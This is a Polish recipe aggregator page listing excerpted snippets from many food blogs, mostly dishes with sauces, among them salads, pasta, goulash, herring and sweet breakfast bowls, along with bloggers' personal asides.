głodni, ale czujemy, że jednak coś powinniśmy zjeść, bo za chwilę głód jednak da o sobie znać, wtedy najczęściej na stole ląduje mieszanka na bazie sałat, bakalii, owoców i sosu vinaigrette. Zmienia się zaledwie kilka składników. Zawsze są też grzanki lub bruschetty. Jest dużo, lekko, kolorowo i smacznie. Piersi kurczaka można pokroić i ułożyć na sałacie jeszcze gorące, ale równie

bistro mama
Sałatka z wędzonym kurczakiem, sezamem i sosem sojowym 200

rzadko, bo nie mam cierpliwości do krojenia. Kiedy już wyjedliśmy jarzynową prosto ze słoika, przyszła pora na delektowanie się nowym, całkiem ciekawym smakiem. Makaron, kurczak wędzony, sezam i sos sojowy pasują do siebie wyśmienicie. Pozostałe składniki niech nas nie ograniczają :) Czytaj więcej

bistro mama
Lasagne z mięsem mielonym i trzema serami 221

czasu kalorie nie straszne. Nie namawiam, żeby jeść ją na obiad w każdy weekend, bo raz na kwartał zupełnie wystarczy. W przygotowaniu dość pracochłonna, w końcu trzeba przygotować dwa sosy i obgotować makaron. Na niektórych opakowaniach można spotkać informację, że można ten krok pominąć. Nigdy nie zaryzykowałam i zawsze płaty lasagne lekko obgotowuję w osolonej wodzie z dodatkiem oliwy. Dodałam

bistro mama
Camembert w trzech odsłonach 285

chcemy zapanierować mniejsze trójkąty. Wtedy należy zrobić to bardziej starannie. A dodatki sera dowolne. Ja najbardziej lubię z żurawiną lub ostatnio odkrytą borówką z gruszką. Mąż woli z sosem czosnkowym. Migdałową panierką był zachwycony. Do tego obowiązkowo sałata z ulubionymi dodatkami. Czytaj więcej

bistro mama
Whiskey z Colą jako marynata do mięs 229

mięs z grilla. Taka marynata wyjątkowo dobrze pasuje do mięsa wieprzowego z grilla . Składniki: 330 ml Coca-Coli ½ szklanki dobrej Whiskey 1 łyżka oliwy z oliwek 1 łyżka sosu sojowego ½ łyżeczki soku z limonki szczypta soli szczypta pieprzu Przygotowanie: Połączyć wszystkie składniki. Dokładnie wymieszać. Mięso zalać dokładnie przygotowaną marynatą. Marynować w niej mięso przez 8-12 godzin w lodówce. Whiskey

naRuszcie
838. Kawowe doładowanie na koniec. 176

Kawowa owsianka  z mleczkiem kokosowym i sosem wiśniowym Nie wierzę, że kolejny rok mija.. szybko, to jedne słowo nasuwa mi się tylko do głowy ;) Plany są? U mnie jak najbardziej. Zaraz wybieram się do D pomóc mu w przygotowaniach na wieczór. Mam nadzieje, że czeka mnie kolejny niezapomniany wieczór (noc... i ranek xd) ;P  Udanej zabawy

More food, love and dreams
Tzatziki 230

minut. Jogurt mieszamy z oliwą, sokiem z cytryny, solą i pieprzem. Dodajemy czosnek przeciśnięty przez praskę, odciśnięty z soku ogórek i posiekany koperek – mieszamy. Podajemy schłodzony. Dla mnie sos tzatziki doskonale nadaje się do wszystkich mięs, warzyw, a nawet ryb i owoców morza. Nie ma reguły, że do czegoś nie pasuje. Podany do mini pizzy , też sprawdził się doskonale

mojewypiekiinietylko
Chrupiący łosoś Gordona Ramsaya 184

dosmażamy. Odwracamy filety ponownie skórą do dołu, odstawiamy patelnię z ognia, i pozostawiamy jeszcze na minutę. Chrupiący łosoś Gordona Ramsaya był świetnym „dodatkiem” do Yorkshire pudding. Uzupełnienie, to sos winegret podany do ryby oraz szpinak sezamowy . Fuzja smaków i wspaniałe doznania kulinarne. Łosoś podany w takiej formie zagości u mnie na pewno wielokrotnie. Smacznego. Wydrukuj przepis The post Chrupiący łosoś

mojewypiekiinietylko
Sos kaparowo-brzoskwiniowy 203

Pikantno-słodko-winny sos do drobiu i cielęciny . Czytaj więcej

Buniabaje w kuchni
Sos kaparowo-brzoskwiniowy 203

Pikantno-słodko-winny sos do drobiu i cielęciny . Czytaj więcej

Buniabaje w kuchni
834. Kokosowa kasza manna & chleb z żurawiną 205

Kasza manna z mleczkiem kokosowym* i sosem wiśniowym *z częścią gotowana, część na górze  I jak tam po świętach? I w tym roku nie mogło zabraknąć u mnie drugiego dnia świąt domowego chleba z żurawiną (i słonecznikiem). Taka mała tradycja się już z tego robi, nie muszę wspominać, że po śniadaniu już go nie było

More food, love and dreams
Gulasz wołowy z papryką i pieczarkami 224

gotowania do mięsa dodać pokrojoną w kostkę paprykę i w plasterki pieczarki. 4. Kiedy mięso będzie miękkie, w miseczce dokładnie wymieszać mąkę ze śmietaną i zimną wodą. Wlać do sosu i wymieszać. Doprawić solą, pieprzem do smaku. Na koniec dodać kilka igiełek rozmarynu i troszkę posiekanego tymianku. Wymieszać. 5. Gulasz podałam do ziemniaków i duszonej kapusty z koperkiem . Smacznego

Kuchnia domowa Ani
Twarogowe placuszki na kaszy mannie z cytrynowym kisielem 279

mała łyżeczka), szklankę wody, cukier oraz skrobię i wstawić na palnik. Mieszać, aż zgęstnieje. Ciepłym polać placki. Smacznego! :) * po ugotowaniu kisielu spróbować czy taka ilość cukru jest wystarczająca. Jeżeli sos wydaje się mało słodki, to wystarczy dosypać cukru i ponownie podgrzać- do rozpuszczenia. ** jeżeli kisiel wydaje się za rzadki/gęsty, to należy odpowiednio dosypać skrobi/dolać odrobiny wody z cytryną

Kraina Miodem Płynąca
Tradycyjna, błyszcząca polewa czekoladowa 230

niż ta! :) Odpowiednio gęsta, schłodzona szybko zastyga tworząc miękką lecz nie rozpływającą się i gładką powierzchnię. Jeżeli użyjemy jej ciepłej i zaraz po przygotowaniu, to można potraktować jako czekoladowy sos np. do naleśników czy deserów. I najważniejsze- podczas przygotowywania tej polewy należy dokładnie trzymać się kolejności dodawania składników, inaczej polewa może się nie udać!!! * woda- 3 łyżki * cukier- 3 łyżki

Kraina Miodem Płynąca
Kotlety mielone z cukinią i serem feta duszone z pomidorami 243

małe okrągłe kotleciki. Rozgrzewamy patelnię z odrobiną oliwy i układamy kotleciki. Smażymy z każdej strony, aż będą rumiane. Posiekaną cebulę i czosnek dodajemy do kotletów. Pomidory przelewamy na patelnię. Sos przyprawiamy 2 płaskimi łyżeczkami cukru i dodajemy masło. Całość dusimy pod przykryciem przez 20 minut. Na koniec przyprawiamy pieprzem i świeżo szarpaną bazylią. SMACZNEGO

Kredowe Menu
ŚLEDZIE PO KASZUBSKU Z OGÓRKAMI 193

świat i znany chyba w całej Polsce. U mnie już od lat gości na stole nie tylko w czasie Świąt. Śledzie robi się błyskawicznie i smakują fantastycznie. Dodatek pomidorowego sosu , ogórków konserwowych i aromatycznych przypraw sprawia , że nikt nie przejdzie obok niech obojętnie! Nawet Ci, którzy za śledziami nie przepadają. Spróbujcie! SKŁADNIKI: * filety śledziowe – ok. 600 g * ogórki konserwowe

Ostra na Słodko
PIERŚ Z GĘSI Z CHUTNEYEM FIGOWYM I SMAŻONYMI ZIEMNIACZKAMI 219

jeszcze jeden fantastyczny przepis na gęś! Po zrobieniu tej ostatniej z sosem z czarnej porzeczk i naszła mnie ochota na zdecydowanie więcej! Wolną niedzielę postanowiłam wykorzystać właśnie do obradowania w kuchni. Zamarynowana dzień wcześniej w ziołach i piwie Książęce chlebowo – miodowe zyskała fantastyczny wyrazisty aromat. Dodatek chunteya figowego i smażonych w gęsim tłuszczu ziemniaczków zrobił z niej danie iście

Ostra na Słodko
Ser pieczony w orzechach 254

tego lampka czerwonego wina i gotowy romantyczny wieczór… Ser pieczony w orzechach Składniki : ser brie lub camembert (ok. 150-200g) ok 100 g orzechów włoskich sos żurawinowy lub dżem porzeczkowy 1 jajko mąka Ser kroję na mniejsze kawałki, obtaczam w mące, w rozstrzepanym jajku a następnie w drobno posiekanych orzechach. Układam na kratce i wkładam do nagrzanego piekarnika

UgotujmyTo.pl
Ryba po grecku 295

Następnie doprawiamy całość do pożądanego smaku i przykrywamy patelnię pokrywką i na małym ogniu dusimy całość przez ok.30 minut. 3. W płaskim naczyniu rozkładamy kawałki ryby i polewamy ją sosem. Wygładzamy i danie gotowe ;)  Taka pozytywna piosenka na ten pozytywny świąteczny okres ;)  Wesołych świąt ;)  Michał

Gotuj Z Muzyką
Zapiekane ziemniaki z gulaszem 281

zachwycić rodzinę nie tylko smakiem , ale i wyglądem! Udało się! Zapiekane purre ziemniaczane , chrupiące z zewnątrz, kremowe w środku , a do tego aromatyczny gulasz z łopatki wieprzowej w pysznym sosie … Niezwykle smacznie i sycąco! Taki pomysł świetnie sprawdzi się na świątecznym stole albo zachwyci gości na niedzielnym obiedzie! SKŁADNIKI: - mączyste ziemniaki – 300 g - żółtko – 1 szt - masło

Ostra na Słodko
Roladki z indyka z borówkami 234

rozgrzanym oleju na dużej, głębokiej patelni. Wyciągamy nici, o prószamy papryką , wlewamy wino i bulion. Dusimy razem ok. 15 minut , w yciągamy mięso na talerz. Śmietanę dodajemy do powstałego sosu , d okładnie mieszamy. Dodajemy resztę borówek ze słoika. Gotujemy jeszcze ok. 5-7 minut , w kładamy roladki , podgrzewamy. Doprawiamy do smaku solą i pieprzem. Podajemy z ulubionymi dodatkami

Ostra na Słodko
Cukinia faszerowana po meksykańsku 379

niej RACUSZKI , kotleciki albo właśnie faszerujemy. Dziś mam dla Was jeden ze swoich pomysłów na jej przygotowanie – z farszem meksykańskim. Jest mięso … kukurydza … ryż i ostry sos , który sprawia , że danie nie tylko świetnie smakuje , ale jest też niesamowicie sycące! Spróbujecie? SKŁADNIKI: ( 4 porcje ) - cukinia – 2 szt - mięso mielone – 400 g - jajko

Ostra na Słodko
Leczo 150

rozgrzanie – sprawdza się znakomicie! Pełne soczystej papryki i aromatycznych ziół , z pajdą świeżego , chrupiącego chleba jest świetnym pomysłem nie tylko na letni obiad. Papryka , kiełbaska , pyszny sos i przyprawy tworzą wspaniałą całość , która jest fajną alternatywą dla mięsnego gulaszu . SKŁADNIKI * Papryka czerwona – 3 szt * Cukinia – 1 szt * Kiełbasa cienka np. śląska / zwyczajna – 3 szt * Czosnek – 2 ząbki * Ogórek kiszony

Ostra na Słodko
Makaron Farfalle z bobem i kremowym sosem – bez laktozy 201

Bób – kto z nas choć raz z sezonie nie zajada go przed telewizorem ? ;) Ja oprócz zajadania go przed telewizorem przygotowuję z niego rewelacyjny obiad. Makaron z kremowym sosem z bobu , cebulki i smażonego boczku tworzy fantastyczne i niesamowicie sycące danie. Spróbujcie! Polecam! SKŁADNIKI: ( 2 większe porcje ) * makaron kokardki – 250 g * bób – 200 g * dobrej jakości wędzony boczek

Ostra na Słodko
Tagliatelle z krewetkami w sosie pomidorowym 234

wielbicieli krewetek jak najbardziej! Z całą pewnością przepisy z ich wykorzystaniem będą się tu pojawiały coraz częściej. Dziś mam dla Was przepyszny makaron tagliatelle z krewetkami w sosie pomidorowym z dodatkiem aromatycznego czosnku , pora i świeżej papryki. Odpowiedni doprawiony sprawi , że z tak prostego dania stworzymy przysmak godny najlepszej restauracji! Polecam! SKŁADNIKI: ( 2 porcje ) * makaron tagliatelle – ok. 250 g * krewetki

Ostra na Słodko
Kopytka z kaszy jaglanej 257

wałki i kroimy na średniej wielkości kopytka. Wrzucamy do osolonego wrzątku i gotujemy kilka minut. Odcedzamy , a następnie smażymy na masełku kilka minut do uzyskania złocistej skórki. Podajemy z sosem pieczarkowym. Uwaga! Kaszę po wyciągnięcia z piekarnika można zmielić! Kopytka będą delikatniejsze

Ostra na Słodko
Naleśniki w gorącym sosie ananasowym 205

minut. Po tym czasie dodajemy resztę ananasa i dusimy kolejne 5 minut. Wlewamy rum , mieszamy. CAŁOŚĆ: Przygotowanym nadzieniem smarujemy delikatnie naleśniki , składamy w trójkąty , polewamy jeszcze odrobiną sosu i posypujemy wiórkami. Podajemy gorące!!! Smacznego! Do zrobienia wykorzystałam napój sojowy lekko słodki Alpro

Ostra na Słodko
FETTUCINE Z DYNIĄ W SOSIE MAŚLANYM – FILM 157

oglądamy! http://www.jak.tv/movies/ jak-zrobic-fettuccine-z-dyn ia-w-maslanym-sosie

Ostra na Słodko
BUTTER CHICKEN – MURGH MAKHANI ( KURCZAK W MAŚLE ) 287

świecie , a mianowicie Butter chicken czyli murgh makhani ( a po polsku kurczak na maśle ). Potrawa niesamowicie aromatyczna ( jak zresztą większość hinduskich przysmaków ). Delikatne soczyste mięso , zatopione w przepysznym maślanym sosie jest fantastycznym pomysłem na rodzinny obiad, albo np. danie na imprezę! Gwarantuję , że każdy z przyjemnością sięgnie po dokładkę i rozkocha się w kuchni indyjskiej. Tak jak ja ;) W przyrządzeniu

Ostra na Słodko
Kiszka ziemniaczana z sałatką z pomidorów 245

pomidorki, kroimy, skrapiamy octem winnym, dodajemy sól morską, świeżo mielony kolorowy pieprz, troche cebuli cukrowej i trochę czerwonej i i to by było na tyle ;) Ja podaje to z sosem czosnkowym robionym na bazie jogurtu naturalnego i śmietany. Pyszne i proste (o ile w pobliżu jest Auchan

Z butelką mleczka w tle
Kugelis to, rajbak czy babka ziemniaczana? 434

godziny (do suchego patyczka). Dalej wersja jest moja: po ostygnięciu kroimy w grube plastry i podsmażamy z obu stron na patelni aż będą chrupkie i rumiane. Podajemy z sosem czosnkowym: 1 część śmietany 18% 1 część jogurtu naturalnego 1 część majonezu czosnek, sól, pieprz PYSZOTA

Z butelką mleczka w tle
Domowa Pizza 268

części i formować (za pomocą wałka lub ręcznie) spody na pizze, pozostawiając szersze brzegi. Na ciasto wyłożyć sos pomidorowy, posypać oregano, bazylią, pieprzem, pociętym drobno czosnkiem, odrobinę posolić, dodać swoje ulubione składniki i posypać tartym żółtym serem lub mozzarellą . Moje posty

Słodka Strona
Bułeczki z Pieczarkami i Żółtym Serem 385

wykładać farsz, ser i zawijać (jak knedle). Gotowe bułeczki posmarować rozbełtanym jajkiem z mlekiem i piec w temperaturze 250 stopni przez ok. 7 minut do zrumienienia. Podawać z dowolnymi sosami. Moje posty

Słodka Strona
Mini Calzone 339

łyżkami mleka. Calzone możemy posypać tymiankiem lub czarnuszką (opcjonalnie). Mini Calzone pieczemy w temperaturze 250 stopni przez ok. 4-6 minut do zrumienienia. Podajemy z ulubionymi sosami, np. czosnkowym, chili lub z ketchupem.                         Moje posty

Słodka Strona
Szaszłyki z Oliwkami w Cieście Francuskim 300

zdjęciu. Końcówki zlepiamy dociskając do siebie. Gotowe szaszłyki przekładamy na blaszkę wyłożoną papierem do pieczenia. Pieczemy w 180 stopniach przez ok. 15-20 minut do zrumienienia. Podajemy z dowolnymi sosami np. meksykańskim, czosnkowym lub ketchupem.         Moje posty

Słodka Strona
Tradycyjne Zapiekanki z Pieczarkami 507

Zapiekamy w piecu nagrzanym do temperatury 180 stopni przez ok. 3-5 minut (lub więcej) do momentu całkowitego rozpuszczenia sera. Gotowe zapiekanki podajemy z ketchupem lub innym ulubionym sosem. Moje posty

Słodka Strona
Najlepsze Ciasto na Pizze 6055

puszystość. Wyrośnięte ciasto dzielimy na ok. 3 części i formujemy (za pomocą wałka lub ręcznie) spody na pizze, pozostawiając szersze brzegi. Zobacz także: Najlepsza Domowa Pizza Na ciasto wykładamy sos pomidorowy, przyprawy, ulubione dodatki oraz ser. Spody na pizzę pieczemy ok. 7-9 minut w zależności od grubości ciasta w temperaturze 250 stopni do lekkiego zrumienienia

Słodka Strona
Wigilijne śledzie w śmietanie 427

średnia cebula , 3-4 liście laurowe , łyżeczka ziaren ziela angielskiego , świeżo zmielony pieprz - najlepiej biały, sól , no i oczywiście śledzie :) (Nie podaję ilości śledzi na taką porcję sosu śmietanowego, gdyż to zależy od upodobań. Jedni lubią mniej śmietany, inni więcej.) Do śmietany dodać liście laurowe i ziele angielskie - odstawić do lodówki przynajmniej na godzinę lub dwie

Codzienna kuchnia niecodzienna
Makaron z czosnkiem niedźwiedzim w sosie trzy sery na ostro. Propozycja dla tych co robią na masę. 207

należę, ale stykam się z takimi osobami, którzy mają problem z przytyciem, taki sam, jak niektórzy ze schudnięciem. Nie ukrywam, że danie to... Makaron z czosnkiem niedźwiedzim w sosie trzy sery na ostro. Propozycja dla tych co robią na masę. is a post from: NIE BO PIEKŁO

Nie Bo Piekło
812. Bananowo-ricottowy krem jaglany. 174

Bananowy krem jaglany z ricottą podany z gorącym sosem wiśniowym  Przeżyłam. I nawet wykończona, aż tak nie byłam ;)  A, dzisiaj wcześniej, bo zamiast do szkoły kieruję się do lekarza

More food, love and dreams
Pieczarki w majonezie na ciepło 518

Pieczarki w majonezie na ciepło... Plasterki podduszonych na maśle pieczarek. Kawałki zeszklonej cebuli. Wszystko oblepione majonezem. Mocno przyprawione pieprzem. Pyszny i szybki dodatek do obiadu. Smacznego

Gospodyni Miejska
Zapiekanka makaronowa z kurczakiem i cukinią 1328

kurczakiem i cukinią... Warstwa sprężystego makaronu. Kawałeczki cebuli, papryki i cukini, oblane przecierem pomidorowym. Złociste kawałki podsmażonego kurczaka. I ponownie warzywa, przecier i warstwa makaronu. A wierzch oblany sosem śmietanowym z serem, czosnkiem i natką pietruszki. Pyszna, domowa zapiekanka. Duża porcja. Smacznego! Składniki:  400 g filetów z piersi kurczaka; 500 g makaronu penne; 700 g cukinii (waga przed obraniem

Gospodyni Miejska
Sałatka z łososiem i ziarnami 239

piekło – niebo dopełnia cały jej smak. Użyłam mieszanki prażonych ziaren z dodatkiem chilli, które pasują nie tylko do sałatek, ale też jako dodatek do zup, sosów, kanapek oraz mięs. Ziarenka bardzo mi posmakowały i szczerze mogę je wam polecić :-), znajdziecie je pod tym linkiem Post Sałatka z łososiem i ziarnami pojawił się poraz pierwszy

Marta Gotuje
Łosoś w sosie śmietanowo-musztardowym 1001

post Łosoś w sosie śmietanowo-musztardowym appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
350. 188

Naleśniki z kokosowym twarożkiem, sosem jagodowym* i borówkami * w środku też Jako, że wczoraj nie miałam kiedy ich usmażyć, bo wróciłam po ilu? Chyba 9godzinach do domu, padnięta, ale i szczęśliwa, z pustym portfelem :(, ale i szerszą szafą. :D A jedyne na co było mnie stać to placuszki z ricotty, cukinii i szpinaku polane obficie keczupem, zdjęcia niestety nie zdążyłam

More food, love and dreams
389. 140

kasza jaglana ze startym jabłkiem, cynamonem*, masłem orzechowym, zalana jogurtem naturalnym i sosem borówkowym *kasza uprażona na suchej patelni, jabłko starte na grubych oczkach i wmieszane w kaszę  A dziś możecie zobaczyć mnie w Warszawie na nightskating, :P nawet nie chce wiedzieć ile dzisiaj będę spać

More food, love and dreams
393. Jednoporcjowe cudo. 158

Szczęście jest wczoraj albo jutro, ale nigdy dzisiaj. Nie może być dzisiaj, ponieważ jest jedynie złudzeniem, a złudzenia wydają się rzeczywiste wyłącznie z oddali.” budyniowy waniliowy serniczek z sosem malinowo-jeżynowym na herbatnikach z pokruszonym herbatnikiem To śniadanie było idealne. Ten serniczek taki był. Jeżeli byście chcieli mogę wstawić przepis. Ps. przepis podlinkowany. Pierwsze jeżyny, od... bardzo dawna.  Kiedyś

More food, love and dreams
397. 145

makaron z kasza manną gotowany z truskawkami i rabarbarem podany z sosem truskawkowym, jogurtem naturalnym i miodem inspiracja Praktycznie 13godz. po za domem. Milusio. Chce spać.  Tak, zdecydowanie. Ale gdy pomyślę sobie ile mam do zrobienie i nauczenia to stwierdzam, po co spać

More food, love and dreams
414. Kakaowo.. 166

Pełnoziarniste kakaowe pierogi z cynamonowym twarogiem i sosem śliwkowym inspiracja Potrzebuje zmian.. Noc to bardzo dziwna pora.. zazwyczaj wtedy śpisz, ale jeżeli tego nie robisz to myślisz, a kiedy to robisz świat staje się inny, Czujesz, widzisz i robisz rzeczy których nigdy byś nie zrobił, bo wraz z nastaniem dnia to wszystko zniknie..  jakby nigdy tego

More food, love and dreams
427. Jak .. gruszka w ciasto? 163

gruszka pieczona w biszkoptowym cieście podana z sosem cynamonowym i pekanami o mamuniu, jakie to było dobre *.* Leniwe śniadanie, na pracowitą niedzielę... U was też jest tak ciepło? Ja osobiście w to nadal nie wierzę, bo w tamtym roku o tej porze był już śnieg xd Ale nie narzekam, taka jesień to ja  mogę mieć cały

More food, love and dreams
434. Polenta z piekarnika. 176

polenta pieczona w skorupce* podana z sosem truskawkowym i bananem *bułka tarta, masło, cukier trzcinowy Robiąc ostatnio  te kluski przyszło mi do głowy, czemu by nie spróbować w ten sposób zapiec polenty? Skoro można ją usmażyć to czemu by nie wsadzić jej do piekarnika? Choć knedle i tak wygrywają w smaku, to i te śniadanie było niczego sobie

More food, love and dreams
454. Ponownie gofry. 138

cynamonowe drożdżowe gofry z sosem śliwkowym, twarożkiem i prażonymi płatkami migdałowymi Bo skoro są drożdżowe placki, ciasta i całe mnóstwo innych rzeczy, to czemu nie gofry? Od kilku dni chodziły za mną śliwki, ale niestety nie mogłam ich już nigdzie dostać, dobrze, że w tym roku pomyślałam i kilka woreczków zamroziłam :P To nie to samo co świeże, ale zawsze

More food, love and dreams
465. Z czekoladą. 160

bananowa owsianka z suszoną żurawiną, bananem i sosem z białej czekolady Miło tak być zwolnionym z ostatniej lekcji

More food, love and dreams
468. Czekolady ciąg dalszy.. 205

gofry brownie* z ricottą, gorącym sosem wiśniowym i czekoladowym  *z kawałkami czekolady  Lubię te moje sobotnie gofrowanie

More food, love and dreams
498. Lepkie, klejące, czekoladowe!! 177

Pomarańczowo- czekoladowe brownie z cukinii polane sosem pomarańczowym i ricottą(potem) W ogóle nie mogłam zrobić dzisiaj żadnego wyraźnego zdjęcia -,-  Lepkie i klejące za sprawą cukinii oraz mąki żytniej która w tym połączeniu nabiera takiej mazistej konsystencji. No i niezwykle czekoladowe za sprawą czekolady :3 Jutro szkoła? Sprawdzian? Ale jak to? Już? Fajnie, że coś umiem xd Więc

More food, love and dreams
525. Bananowo-kokosowy serniczek. 166

bananowo-kokosowy serniczek z sosem z białej czekolady Najlepszy sposób na ostudzenie czegoś w zimę? Wystawić to za okno xd :3 Składniki: 200g twarożku  100g zmiksowanego banana jajko łyżka mąki kokosowej(15g?) 1/3 łyżeczki proszku do pieczenia  coś do posłodzenia + wiórki do posypania Jajko miksujemy z bananem na puszysta masą. Twarożek miksujemy z resztą składników, delikatnie mieszamy obie

More food, love and dreams
536. Na zimno. Na szybko. 176

kakaowo-bananowy pudding jęczmienny z ricottą i sosem czekoladowym  Dziś na szybko, bo doba jest zdecydowanie za krótka. A jutro będę tu późno, bo po szkole wybieram wybieram się do kina. :P No tak nie ma to jak przewrócić się na drzwiczki od zmywarki, rozwalić je i przy okazji ochlapać podłogę krwią, no po prostu cudownie

More food, love and dreams
543. Bananowy pudding. 193

bananowy pudding chlebowy* z sosem orzechowym** i miodem, banan *z domowego chleba tostowego ** masło orzechowe+mleko Ten zapach w trakcie pieczenia *.*  Nocne rozmowy. Lekki uśmiech na twarzy. Chwila ciszy.  Przepis: kilka kromek chleba jajko 1/2 zmiksowanego banana 30ml mleka cynamon, szczypta soli, ew. coś do posłodzenia Naczynko smarujemy masłem. Wrzucamy pokrojony w kostkę chleb. Banana mieszamy z resztą

More food, love and dreams
555. Krem budyniowy, wiśnie i kokosowe smaki. 172

Kokosowe naleśniki* z kremem budyniowym i sosem wiśniowym  * z dodatkiem domowego mleczka kokosowego i mąki kokosowej (zdecydowanie nie potrafię robić zdjęć naleśnikom >.<) Uwielbiam ten krem, robiąc go do tortu czy gdzieś indziej zawsze połowa znika w dziwnych okolicznościach >.<  Wczoraj odważyłam się pierwszy raz zrobić swoje własne mleczko kokosowe i powiem wam, że przepis jest

More food, love and dreams
556. Z karmelem. Brak czasu. 162

Kukurydziane pancakes z persymoną podane z ricottą i sosem karmelowym* *z cynamonem i solom Biszkopt upieczony. Krem zrobiony. Jeszcze tylko 18 sztuk muffinek. Nakładające się urodziny dwóch ważnych osób w środku tygodnia to nie jest dobry pomysł. Choć nie powiem dość pyszny :3 Potrzebuje więcej czasu....  Przepis: 40g mąki kukurydzianej  15g mąki pszennej/pełnoziarnistej jajko 1/4 szklanki puree

More food, love and dreams
571. Wracam i trochę o współpracy... 186

owsianka tiramisu* z sosem wiśniowym i ricottą w słoiczku po nutelli * z kakao i kawą tiramisu Ciężkie ostatnio dni, mało snu i jeszcze więcej śmiechu. Sprawdziany na ten tydzień zaliczone, śniadania nadrobione, a ja w końcu mam chwilę spokoju.  Kocham mojego tatę tak, że nie wiem, kochany kupił nowy dysk, nie za dwa tygodnie, a we wtorek ku mojej

More food, love and dreams
574. Gofry.. na obiad? 225

gofrowa kanapka z pieczonym kurczakiem, sałatą, pomidorem, ogórkiem(zielonym i konserwowym) i sosem miodowo-musztardowym   Dziwna i szalona noc, poranne sprzątanie i frytki z bigosem na śniadanie, zakończone tortem jedzonym prosto z patery. Ale, lubię takie noce(dni?) czuje się wtedy tak żywa, wśród ludzi i śmiechu.  Nie wiem  co z tego wyniknie.. trochę się boję

More food, love and dreams
595. Kakaowo-kawowy. 145

biszkoptowy omlet kakaowo-kawowy z ricottą, sosem wiśniowym i gorzką czekoladą Przez najbliższe kilka dni potrzebuje dużo kawy, czekolady zresztą też.. :P Mądra ja, przypomniałam sobie o dodaniu soli do chleba po wyjęciu go z piekarnika .. Przepis: 2 jajka 25g mąki żytniej 10g kakaa łyżeczka kawy rozpuszczalnej 1/2 łyżeczki proszku do pieczenia 1-2 łyżki mleka coś do posłodzenia

More food, love and dreams
607. Zapomniane... 145

kokosowe płatki ryżowe* z bananem**, sosem wiśniowym i chipsami kokosowymi * z mąką kokosową i domowym mleczkiem kokosowym  ** część rozgnieciona  Jak ja dawno tych płatków nie jadłam :O  Wiecie może do czego można wykorzystać pozostałe po robieniu mleczka, wiórki, bo nie chce ich znowu wyrzucić

More food, love and dreams
622. Wspomnienie dzieciństwa. 158

naleśniki* z waniliowym serkiem homogenizowanym i sosem truskawkowym** *z masłem ** część truskawek gotowana, część świeża Naleśniki z tym konkretnym serkiem(chodzi o firmę) to smak mojego dzieciństwa, jeżeli były naleśniki to on też musiał być na przemian z jabłkami ze słoika. Ma w sobie wyjątkowy smak, żaden inny serek tak nie smakuje

More food, love and dreams
623. Dwu kolorowa manna. 139

waniliowo-kawowa kasza manna z sosem toffi, daktylami i solą, truskawki Podobne smaki miałam w mazurku na święta i jakoś się tak w nich zakochałam. Chce ... trochę odpoczynku, jutrzejszy sprawdzian z historii... gr.... chce już go mieć za sobą, trzymajcie jutro kciuki, bo jakoś ostatnio mi nie wychodzi nauka

More food, love and dreams
636. Kokosowe leniwe. 214

kokosowe kluski leniwe z sosem truskawkowym Pomysł całkowicie ściągnięty od Martyny , ale gdy tylko zobaczyła te kluski wiedziałam, że będę musiała je zrobić. Faktycznie wyszły bardzo delikatne, a raczej suche? takie kruche strasznie. Musiałam trochę się nad nim pomęczyć, nie wiem, czy to winna dość suchego twarogu, choć i tak dodałam jeszcze ser mielony jak na sernik, czy może moja

More food, love and dreams
669. Kokosowe ricotta hotcakes. 165

kokosowe ricotta* hotcakes z sosem jagodowym,  jagodami i wiórkami kokosowymi *z mąką kokosową, mleczkiem kokosowym  Trochę się bałam, że nie wyjdą, czy coś, bo jednak mąka kokosowa zachowuje się trochę inaczej niż inne mąki i bałam się, że proporcje złe, że papka mi wyjdzie, a nie placki, ale nic z tego. Wyszły! I to dobrze

More food, love and dreams
711. A więc w drogę. 184

Owsianka z sosem śliwkowym i gorzką czekoladą Ostatnio w prostych rzeczach szczęście odnajduje.  I sama siebie zaskakuje jak niewiele czasem potrzeba, aby się uśmiechnąć.  Wcześnie, bo znikam na weekend, rodzinnie się zapowiada

More food, love and dreams
764. Bananowy ryż na mleku. 232

Bananowy ryż na mleku  z sosem karmelowym* i malinami *solony z cynamonem Nawet nie wiem kiedy zmieniły mi się priorytety, kiedy uśmiech drugiej osoby sprawia mi więcej szczęścia niż mój własny.  Swoją drogą wczoraj udało mi się zrobić genialny krem karmelowo-czekoladowy, aktualnie jestem na etapie wyjadania go ze słoiczka, przepisu wypatrujcie w ten weekend na drugim

More food, love and dreams
765. Dyniowe naleśniki & kokosowy jogurt. 199

Dyniowe naleśniki  z kokosowym jogurtem* i sosem karmelowym *jogurt naturalny, mleczko kokosowe, mąka kokosowa Jak ja uwielbiam te sobotnie leniwe poranki W teorii miała być dzisiaj nauka, książki, generalnie wiecie o co chodzi, w praktyce wyszło kino. Bywa :P   Składniki: 50g maki 100g pure z dyni 120ml mleka jajko szczypta sody oczyszczonej, soli, cynamonu Wszystkie składniki ze sobą

More food, love and dreams
786. Kokosowa zapiekanka z serka wiejskiego. 208

Kokosowa zapiekanka*  z serka wiejskiego z bananem; podana z sosem wiśniowym i mleczkiem kokosowym * z mąką kokosową

More food, love and dreams
788. Ze słoną nutą. 147

Placki z gruszką i daktylami; sosem tofii i solą morską Szczęście leży w prostych słowach i gestach, w zwykłym uśmiechu. Czasami nawet nie wiemy ile go mamy. A jeżeli nie macie pomysłu na obiad, albo szukacie szybkiego i łatwego przepisu na jego zrobienie zajrzyjcie tutaj

More food, love and dreams
800. Kakaowe yorkshire puddings. 179

ricottą i gorącym sosem wiśniowym            Czas    płynie  (za) szybko, zmieniając przy okazji wszystko po drodze. Patrząc wstecz, przeglądając stare posty widzę jak dużo się zmieniło. Ja, blog. Wszystko. Ruszyłam do przodu... to najważniejsze. A dzisiaj chciałam wam tylko podziękować, bo to wy tu zaglądacie i bez was nie było by tego

More food, love and dreams
Gulasz Wołowy alla strogonof 318

najpierw wrzuć paprykę, zamieszaj i po 2-3 minutach dodaj pieczarki i ogórki, nie dosalaj. Podsmaż na brązowo, ok 5-7 minut. Dodaj po około 1,5 godzinie do sosu i duś jeszcze 30 minut, w razie potrzeby dolej wody, ale nie wiele, aby nie był za rzadki. Taki sosik zakropiony kwaśną śmietaną pasuje do ziemniaków, knedli, klusek i placków

Pasje Jolki
Polędwiczka wieprzowa z pieczoną dynią i dressingiem miodowym / Pork tenderloin with roasted pumpkin and honey dressing 280

